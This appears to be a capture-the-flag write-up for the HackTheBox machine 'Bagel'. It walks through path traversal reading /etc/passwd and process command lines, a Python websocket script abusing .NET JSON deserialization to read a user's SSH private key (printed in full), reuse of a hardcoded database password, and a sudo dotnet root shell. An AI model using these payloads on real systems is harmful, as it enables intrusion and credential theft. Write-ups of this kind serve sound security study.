Summary
Bagel is a box which uses some interesting use of local file reading to let you piece together how the application runs. Once you’ve figured that a few clever file reads can give you the source material running the application, and you better have dnSpy ready. From that analysis with dnSpy initial foothold through insecure deserialization can be obtained, after which you can use a hard coded password for developer. And in poetic fashion root is gained with the dotnet command.
Enumeration
┌─[raccoon@cyberraccoon-virtualbox]─[~/_hacking/HackTheBox/Active/Bagel]
└──╼ $nmap -sC 10.10.11.201
Starting Nmap 7.92 ( https://nmap.org ) at 2023-02-27 17:56 CST
Nmap scan report for 10.10.11.201
Host is up (0.055s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT STATE SERVICE
22/tcp open ssh
| ssh-hostkey:
| 256 6e:4e:13:41:f2:fe:d9:e0:f7:27:5b:ed:ed:cc:68:c2 (ECDSA)
|_ 256 80:a7:cd:10:e7:2f:db:95:8b:86:9b:1b:20:65:2a:98 (ED25519)
5000/tcp open upnp
8000/tcp open http-alt
|_http-title: Did not follow redirect to http://bagel.htb:8000/?page=index.html
Port 8000 - http-alt
Local File Read
Looking around I don’t see many leads. The url though does pose a potential vulnerability. I toss http://bagel.htb:8000/?page=../../../../etc/passwd and to my surprise it worked:
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:65534:65534:Kernel Overflow User:/:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
tss:x:59:59:Account used for TPM access:/dev/null:/sbin/nologin
systemd-network:x:192:192:systemd Network Management:/:/usr/sbin/nologin
systemd-oom:x:999:999:systemd Userspace OOM Killer:/:/usr/sbin/nologin
systemd-resolve:x:193:193:systemd Resolver:/:/usr/sbin/nologin
polkitd:x:998:997:User for polkitd:/:/sbin/nologin
rpc:x:32:32:Rpcbind Daemon:/var/lib/rpcbind:/sbin/nologin
abrt:x:173:173::/etc/abrt:/sbin/nologin
setroubleshoot:x:997:995:SELinux troubleshoot server:/var/lib/setroubleshoot:/sbin/nologin
cockpit-ws:x:996:994:User for cockpit web service:/nonexisting:/sbin/nologin
cockpit-wsinstance:x:995:993:User for cockpit-ws instances:/nonexisting:/sbin/nologin
rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/usr/share/empty.sshd:/sbin/nologin
chrony:x:994:992::/var/lib/chrony:/sbin/nologin
dnsmasq:x:993:991:Dnsmasq DHCP and DNS server:/var/lib/dnsmasq:/sbin/nologin
tcpdump:x:72:72::/:/sbin/nologin
systemd-coredump:x:989:989:systemd Core Dumper:/:/usr/sbin/nologin
systemd-timesync:x:988:988:systemd Time Synchronization:/:/usr/sbin/nologin
developer:x:1000:1000::/home/developer:/bin/bash
phil:x:1001:1001::/home/phil:/bin/bash
_laurel:x:987:987::/var/log/laurel:/bin/false
Alright so I have local file reading capabilities as www-data. The site doesn’t give any leads as to its framework/cms, so I’ll have to dig around. I do know from another box that /proc/#/cmdline can be used to enumerate processes on a system if I have local file reading capabilites, so why not start there.
Before that though I think I should point out that some of those users seem a bit odd. Operator for example had its home directory as /root, and the user adm has a specific directory in /var/adm. And odd of all the user _laurel has its home set to /var/log/laurel. I’m sure this information will help us later, now onto digging through the filesystem.
I whipped up a crude process scanner which will download the output into a local directory. I can then clear out bad entries by searching for empty files and finally use grep to find meaningful entries.
#!/bin/bash
for i in {1..2000}
do
curl http://bagel.htb:8000/?page=../../../../proc/$i/cmdline > procs/$i
done
┌─[raccoon@cyberraccoon-virtualbox]─[~/_hacking/HackTheBox/Active/Bagel]
└──╼ $bash findprocs.sh
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 72 100 72 0 0 699 0 --:--:-- --:--:-- --:--:-- 692
.....
.....
┌─[raccoon@cyberraccoon-virtualbox]─[~/_hacking/HackTheBox/Active/Bagel]
└──╼ $find . -type f -empty -print -delete
.....
┌─[raccoon@cyberraccoon-virtualbox]─[~/_hacking/HackTheBox/Active/Bagel/procs]
└──╼ $find . -type f -exec grep -q -F -x 'File not found' {} \; -exec rm -f {} +
.....
There is certainly an easier way to do this, and probably cleaner if I just use python and requests then filter results but as something an AI replicating Tom Scott might say: it’s all about ‘The Art of The Bodge.’
Looking through the results I find /etc/laurel/config.toml and /home/developer/app/app.py so let’s see what we have there.
from flask import Flask, request, send_file, redirect, Response
import os.path
import websocket,json
app = Flask(__name__)
@app.route('/')
def index():
if 'page' in request.args:
page = 'static/'+request.args.get('page')
if os.path.isfile(page):
resp=send_file(page)
resp.direct_passthrough = False
if os.path.getsize(page) == 0:
resp.headers["Content-Length"]=str(len(resp.get_data()))
return resp
else:
return "File not found"
else:
return redirect('http://bagel.htb:8000/?page=index.html', code=302)
@app.route('/orders')
def order(): # don't forget to run the order app first with "dotnet <path to .dll>" command. Use your ssh key to access the machine.
try:
ws = websocket.WebSocket()
ws.connect("ws://127.0.0.1:5000/") # connect to order app
order = {"ReadOrder":"orders.txt"}
data = str(json.dumps(order))
ws.send(data)
result = ws.recv()
return(json.loads(result)['ReadOrder'])
except:
return("Unable to connect")
if __name__ == '__main__':
app.run(host='0.0.0.0', port=8000)
Well that answers a couple questions. We are likely developer and what’s running the website is flask. Additionally to order, a request is being made to port 5000 via websockets and if I’m lucky I can just copy the flask code into python and modify it to let me inject code.
import websocket,json
try:
ws = websocket.WebSocket()
ws.connect("ws://bagel.htb:5000/") # connect to order app
order = {"ReadOrder":"orders.txt"}
data = str(json.dumps(order))
ws.send(data)
result = ws.recv()
print(json.loads(result)['ReadOrder'])
except:
print("Unable to connect")
┌─[✗]─[raccoon@cyberraccoon-virtualbox]─[~/_hacking/HackTheBox/Active/Bagel]
└──╼ $python3 order.py
order #1 address: NY. 99 Wall St., client name: P.Morgan, details: [20 chocko-bagels]
order #2 address: Berlin. 339 Landsberger.A., client name: J.Smith, details: [50 bagels]
order #3 address: Warsaw. 437 Radomska., client name: A.Kowalska, details: [93 bel-bagels]
There is a reference to running a dll with dotnet to start the order app. Perhaps I’ll find that and see what info it gives me. Heading to http://bagel.htb:8000/?page=../../../../../opt/bagel/bin/Debug/net6.0/bagel.dll I can look through the dll. In that library is a binary named .text which I extract and look at the strings.
┌─[raccoon@cyberraccoon-virtualbox]─[~/Downloads]
└──╼ $strings .text
.....
.....
$bagel_server.Bagel+<StartServer>d__6
qThe production team has to decide where the database server will be hosted. This method is not fully implemented.
AllowMultiple
Inherited
AllowMultiple
Inherited
RSDS
/opt/bg1/obj/Debug/net6.0/bagel.pdb
SHA256
_CorExeMain
mscoree.dll
Reference to another file. Let’s keep following the rabbit hole. That file though, does not exist. In that directory, though that is different from the directory bagel.dll was found in, so I’ll change it to http://bagel.htb:8000/?page=../../../../../opt/bagel/obj/Debug/net6.0/bagel.pdb and bingo!
User as phil
Insecure Deserialization
I’ll use dnSpy to look through the .dll and try to find the logic running the order system. I come across some sql credentials in DB: string text = "Data Source=ip;Initial Catalog=Orders;User ID=dev;Password=k8wdAYYKyhnjg3K";
.
What I now need to do from here is find a way to exploit that insecure deserialization. I’ll use this rough outline of json .net deserialization.
The class and method combo that sticks out is ReadFile under File. So in the json I need to define {“$type”:”bagel_server.File, bagel”,”ReadFile”:”File”}. To simplify, I am calling the namespace bagel_server, then the class File under it, within bagel. Then I use the ReadFile method from the File class to pass a file location I control as opposed to the defined location.
import websocket,json
try:
ws = websocket.WebSocket()
ws.connect("ws://bagel.htb:5000/") # connect to order app
order = {"RemoveOrder":{"$type":"bagel_server.File, bagel","ReadFile":"../../../../home/phil/.ssh/id_rsa"}}
data = str(json.dumps(order))
ws.send(data)
result = ws.recv()
print(json.loads(result))
except:
print("Unable to connect")
I tried developer first but it didn’t work, so I tried the other use I saw.
┌─[raccoon@cyberraccoon-virtualbox]─[~/_hacking/HackTheBox/Active/Bagel]
└──╼ $python3 order.py
{'UserId': 0, 'Session': 'Unauthorized', 'Time': '5:10:47', 'RemoveOrder': {'$type': 'bagel_server.File, bagel', 'ReadFile': '-----BEGIN OPENSSH PRIVATE KEY-----\n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\nnrEIIvsBGmrx0AAAAKcGhpbEBiYWdlbAE=\n-----END OPENSSH PRIVATE KEY-----', 'WriteFile': None}, 'WriteOrder': None, 'ReadOrder': None}
I toss that into a file and use sed -i -- 's/\\n/\n/g' id_rsa
to reformat it.
┌─[raccoon@cyberraccoon-virtualbox]─[~/_hacking/HackTheBox/Active/Bagel]
└──╼ $ssh phil@bagel.htb -i id_rsa
Last login: Tue Feb 14 11:47:33 2023 from 10.10.14.19
[phil@bagel ~]$ cat user.txt
a6a7c499ef895-------------------
User as developer
The text I found earlier in a config file from the bagel dotnet file string text = "Data Source=ip;Initial Catalog=Orders;User ID=dev;Password=k8wdAYYKyhnjg3K";
can be used to get to developer
[phil@bagel ~]$ su developer
Password:
[developer@bagel phil]$
Root
GTFOBins
And in a poetic way to finish of this box, developer can use dotnet with sudo perms and we can gain a root shell.
[developer@bagel static]$ sudo -l
.....
User developer may run the following commands on bagel:
(root) NOPASSWD: /usr/bin/dotnet
[developer@bagel static]$ sudo dotnet fsi
.....
> System.Diagnostics.Process.Start("/bin/sh").WaitForExit();;
sh-5.2# cat /root/root.txt
1af901fd53459--------------------